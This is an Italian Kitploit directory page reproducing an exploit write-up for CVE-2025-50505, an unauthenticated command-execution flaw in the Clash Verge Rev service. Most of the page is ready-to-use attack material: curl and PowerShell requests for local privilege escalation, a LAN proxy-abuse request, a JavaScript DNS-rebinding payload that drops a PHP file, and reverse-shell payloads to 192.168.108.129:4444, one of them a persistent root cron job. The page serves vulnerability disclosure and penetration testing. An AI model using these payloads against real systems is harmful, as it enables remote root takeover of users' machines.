Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-50505 — Exploit per CVE-2025-50505 in Clash Verge Rev, che dimostra l'escalation locale dei privilegi e l'esecuzione remota di codice tramite API non autenticata, incluse tecniche di DNS rebinding e reverse shell. | Kitploit
Strumenti/GitHubGitHub/a0yami/cve-2025-50505
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitMovimento LateraleSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo PayloadAnalisi DNS
207311 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
a0yami/cve-2025-50505

CVE-2025-50505

Exploit per CVE-2025-50505 in Clash Verge Rev, che dimostra l'escalation locale dei privilegi e l'esecuzione remota di codice tramite API non autenticata, incluse tecniche di DNS rebinding e reverse shell.

Vedi Repository

CVE-2025-50505

API non autorizzata porta all'esecuzione arbitraria di comandi e all'escalation dei privilegi in Clash Verge Rev

Descrizione

La vulnerabilità deriva da un endpoint API non autenticato esposto dal componente clash-verge-service, che viene installato con privilegi elevati per impostazione predefinita. Questa falla consente agli aggressori di eseguire comandi arbitrari, portando a due scenari di attacco principali: Escalation Locale dei Privilegi (LPE) sulla macchina host ed Esecuzione Remota di Codice (RCE) in condizioni specifiche.

Il vettore RCE può essere sfruttato da aggressori sulla stessa rete locale (LAN) se l'utente ha abilitato le connessioni LAN. Più criticamente, può essere sfruttato da Internet pubblico combinando la vulnerabilità con un attacco DNS Rebinding, consentendo agli aggressori di bypassare le policy di sicurezza del browser ed eseguire comandi sulla macchina della vittima semplicemente facendole visitare un sito web malevolo.

L'avviso pubblico iniziale di questa vulnerabilità è stato fornito da @KawaiiZapic su X.

  • Software interessato: Clash Verge Rev <= v2.2.3
  • Piattaforme interessate: Windows, macOS, Linux
  • Impatto: Escalation Locale dei Privilegi, Esecuzione Remota di Codice

Dettagli Tecnici

Il componente clash-verge-service viene eseguito con privilegi elevati (root o SYSTEM) ed espone un'API HTTP non autenticata su 127.0.0.1:33211. La vulnerabilità risiede nell'endpoint /start_clash, che accetta un payload JSON per controllare l'avvio del processo del core Mihomo.

Il servizio costruisce ed esegue un comando basato su diversi parametri di questo payload, seguendo una struttura simile a:

root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>

Fondamentalmente, tutti e quattro i parametri—bin_path, config_dir, config_file e log_file—sono completamente controllabili dall'aggressore. Sebbene Rust fornisca una protezione intrinseca contro l'iniezione di comandi classica (ad es. usando ; o | per concatenare comandi), il controllo dell'aggressore sull'intera struttura del comando consente un attacco in due fasi per ottenere l'esecuzione arbitraria di codice.

Punti Critici del Codice Vulnerabile

  1. Il processo del servizio rimane in ascolto su 127.0.0.1:33211 tramite il framework Warp e non viene implementata alcuna autenticazione per l'interfaccia /start_clash

clash-verge-service/src/service/mod.rs

root@kitploit:~
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() chiama start_mihomo() e start_mihomo() chiama la funzione process::spawn_process(bin_path, &args, log) passando bin_path. spawn_process() chiama std::Command::new(command) per eseguire il comando

clash-verge-service/src/service/core.rs

root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

root@kitploit:~
let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

Vettore di Sfruttamento 1: Escalation Locale dei Privilegi (LPE)

Linux

  1. Creare uno script malevolo: (utente normale)
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. Inviare una richiesta non autenticata:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. Verificare l'escalation dei privilegi:
root@kitploit:~
sudo cat /root/pwned

Windows

pwn.bat:

root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

Vettore di Sfruttamento 2: Esecuzione Remota di Codice (RCE)

La vulnerabilità può essere elevata a RCE in due scenari.

Scenario A: RCE dalla LAN tramite Abuso del Proxy

Se un utente abilita l'opzione "Allow LAN" (connessione LAN) all'interno del client Clash Verge Rev, il server proxy dell'applicazione diventa accessibile a tutti i dispositivi sulla stessa rete locale. Un aggressore sulla stessa LAN può sfruttare questo aspetto indirizzando la propria richiesta malevola attraverso il proxy esposto della vittima.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/path/to/malicious/script",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

Scenario B: RCE da Internet Pubblico tramite DNS Rebinding

Un attacco più avanzato può essere eseguito da Internet senza richiedere l'accesso alla LAN. La catena di attacco sfrutta il DNS Rebinding in combinazione con uno specifico comportamento del browser noto come exploit "0.0.0.0-day".

La chiave di questo attacco è che Firefox e alcune versioni di Chromium trattano l'indirizzo IP 0.0.0.0 come un alias di 127.0.0.1. Ciò consente a un aggressore di bypassare le funzionalità di sicurezza dei browser moderni come la Same-Origin Policy (SOP) e il Private Network Access (PNA).

Il flusso dell'attacco è il seguente:

  1. La vittima visita un sito web malevolo ospitato su un dominio controllato dall'aggressore (ad es. attacker.com).
  2. Il server DNS dell'aggressore risolve inizialmente attacker.com verso il suo vero indirizzo IP pubblico. La pagina malevola si carica nel browser della vittima.
  3. Il JavaScript sulla pagina effettua ulteriori richieste. In background, il server DNS dell'aggressore cambia l'IP di attacker.com in 0.0.0.0 con un TTL molto breve.
  4. Quando la cache DNS del browser scade, quest'ultimo risolve nuovamente attacker.com e ora riceve 0.0.0.0.
  5. A causa del comportamento specifico del browser, la richiesta non viene bloccata ma viene invece inviata direttamente a 127.0.0.1 sulla macchina della vittima.

Poiché l'origine della richiesta è ancora attacker.com, lo script bypassa con successo le restrizioni di sicurezza e comunica direttamente con l'API vulnerabile di clash-verge-service su 127.0.0.1:33211, ottenendo l'esecuzione remota di codice.

Proof of Concept (DNS Rebinding con Singularity)

  1. Installare singularity
  2. Usare il payload:
root@kitploit:~
/**
 * Clash-Verge-Rev payload
 */
const ClashVergeTrueLog = () => {

  const BODY = `{
    "bin_path": "/bin/true",
    "config_dir": "<?php phpinfo();?>",
    "config_file": "/dev/null",
    "log_file": "/var/www/html/exp.php"
  }`;

  function attack() {
    fetch("/start_clash", {
      method: "POST",
      headers: { 'Content-Type': 'application/json' },
      body:   BODY
    }).then(() => console.log("[Clash-True] sent"));
  }

  async function isService(headers,cookie,body){
    try {
      const r = await fetch("/version", {method:"GET"});
      const t = await r.text();
      return t.includes("Clash");
    } catch { return false; }
  }

  return {attack, isService};
};

Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();

Sostituire la sonda PHP con qualsiasi linguaggio di scripting che supporti i marcatori di confine. Se si desidera ottenere una shell root, fare riferimento alla sezione successiva e modificare il payload.

  1. Avviare singularity-server e configurare il Pannello di Attacco
  • ./singularity-server --HTTPServerPort 33211
  • Target Host: 0.0.0.0
  • Rebinding Strategy: First then second
  • Attack Method: Inline Frame

https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

438500801-c4f8865c-8a37-4763-873f-b7d6057ac9e1

Nota

Nota: quando si personalizza Content-Type su application/json, non impostare no-cors. First then second è una modalità di DNS rebinding più lenta ma più stabile. Si può anche scegliere multiple answers, ma questa potrebbe essere mitigata da alcuni server DNS pubblici, causando il fallimento dell'attacco.

Reverse Shell (LAN)

MacOS e alcuni sistemi Linux (ad es. Kali) hanno zsh installato, che consente di eseguire script con -d e -f.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

# OPPURE IMPOSTARE UN CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H 'Content-Type: application/json' \
  -d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'

Discussione

  1. Una vulnerabilità di iniezione di comandi, CVE-2024-24576, esiste nelle versioni precedenti di Rust su Windows. Di conseguenza, le build meno recenti di Clash Verge Rev compilate con una toolchain Rust vulnerabile potrebbero essere suscettibili a uno sfruttamento per reverse shell più diretto e semplice. Al di là di questa specifica vulnerabilità di Rust, il problema principale dell'esecuzione arbitraria di processi potrebbe anche essere combinato con vari LOLBAS come vettore alternativo per ottenere una reverse shell.
  2. Dopo che il log viene scaricato, l'output del Comando viene aggiunto dopo la riga "Spawning process...". Impostare bin_path direttamente su uno script (ad es. evil.sh) fallirà. Questo perché, senza uno shebang (#!/bin/bash), il sistema operativo sottostante non può determinare quale interprete usare. Anche tentare di chiamarlo esplicitamente tramite bash evil.sh fallirebbe, poiché l'argomento -d passato dal servizio verrebbe interpretato da bash stesso come un'opzione non valida.
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

let child = Command::new(command)
    .args(args)
    .stdout(Stdio::from(log))
    .stderr(Stdio::null())
    .spawn()?;

Grazie a @Esonhugh per aver suggerito che zsh può essere usato per eseguire comandi con successo in queste condizioni.

Riferimenti

  • DNS Rebinding nel Browser
  • https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  • https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps

Soluzione

Aggiornare all'ultima versione.

Scarica lo strumento